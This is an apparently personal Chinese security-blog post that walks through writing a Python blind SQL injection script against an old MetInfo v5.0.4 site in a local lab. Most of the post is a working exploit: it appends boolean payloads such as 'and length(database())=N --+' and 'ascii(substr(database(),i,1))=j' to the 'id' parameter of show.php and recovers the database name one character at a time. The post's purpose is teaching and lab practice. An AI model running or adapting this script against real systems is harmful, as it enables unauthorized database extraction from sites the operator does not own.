构造EXP-Python盲注脚本


0x00 搭建环境介绍

平常的盲注如果手工会很麻烦,多数情况都会借助sqlmap等相关软件跑,但是有些情况下,考虑到sqlmap的线程以及其他情况,会造成其他的影响,这里我们来简单使用python构造一个盲注脚本,低线程,高效率。

利用到metinfo老版本平台,平台中集合多种漏洞,本次实验实验python构造盲注exp,实现注入
环境介绍

手工注入测试:
存在注入

0x01 利用python构造exp-盲注脚本

import requests

def get_html(url):
    "我的功能判断页面内容是否包含关键字,来判断传递参数是否为条件成立"
    res = requests.get(url)
    if "88888888" in res.text:#返回特殊关键字
        return True
    else:
        return False


def get_databaseNL(url):
    "我的作用获取数据库名字长度"
    for num in range(1, 11):#判断数据库长度
        getinfo = " and length(database())=%s --+" % num#构造语句
        fullurl = url + getinfo#拼接完整的语句
        if get_html(fullurl):#如果页面返回值为真
            break#则停止
    return num#返回数据库长度


def get_databaseName(url,num):
    "我的作用是获取数据库名"
    dbname = ""
    for i in range(1,num+1):#构造循环
        for j in range(1,123):#ascii表字符
            getinfo = " and ascii(substr(database(),%s,1))=%s --+" %(i,j)
            fullurl = url+getinfo#拼接语句
            if get_html(fullurl):
                dbname += chr(j)
                #print(chr(j))
                break
    return dbname


if __name__ == "__main__":
    url = "http://192.168.2.4/metinfov504/metinfov504/about/show.php?lang=cn&id=22"#请求地址
    #headers = {
        #"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0"}  # 第二步添加头部信息
    num = get_databaseNL(url)
     #params = {"id":"1' and length(database())=8 --+"}  #第三步添加参数信息
     #print(get_html())
    dbname = get_databaseName(url,num)
    print(dbname)

运行结果


文章作者: 告白
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 告白 !
  目录